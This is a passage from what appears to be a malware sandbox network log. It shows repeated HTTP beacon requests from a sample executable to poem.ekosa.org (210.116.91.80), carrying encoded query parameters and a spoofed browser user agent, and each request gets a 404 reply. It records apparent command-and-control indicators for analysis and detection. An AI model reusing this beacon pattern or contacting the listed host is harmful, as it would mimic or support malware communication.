HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.4	49881	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:56.700265884 CET	5089	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:56.958790064 CET	5089	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:56 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.4	49882	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:57.228408098 CET	5090	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:57.488831043 CET	5091	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:57 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.4	49883	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:57.871535063 CET	5092	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:58.131800890 CET	5092	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:57 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.4	49884	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:58.467463970 CET	5093	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:58.729218960 CET	5093	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:58 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.4	49885	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:59.168667078 CET	5094	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:59.432661057 CET	5095	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:58 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.4	49886	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:00.321032047 CET	5095	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:00.581624031 CET	5096	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:00 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.4	49887	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:00.842541933 CET	5097	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:01.100214005 CET	5097	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:00 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49772	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:02.931457043 CET	252	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:03.193223953 CET	253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:02 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.4	49888	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:01.374209881 CET	5098	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:01.637274981 CET	5098	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:01 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.4	49889	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:02.032150984 CET	5099	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:02.300961018 CET	5100	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:01 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.4	49890	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:02.600404024 CET	5100	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:02.869798899 CET	5101	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:02 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 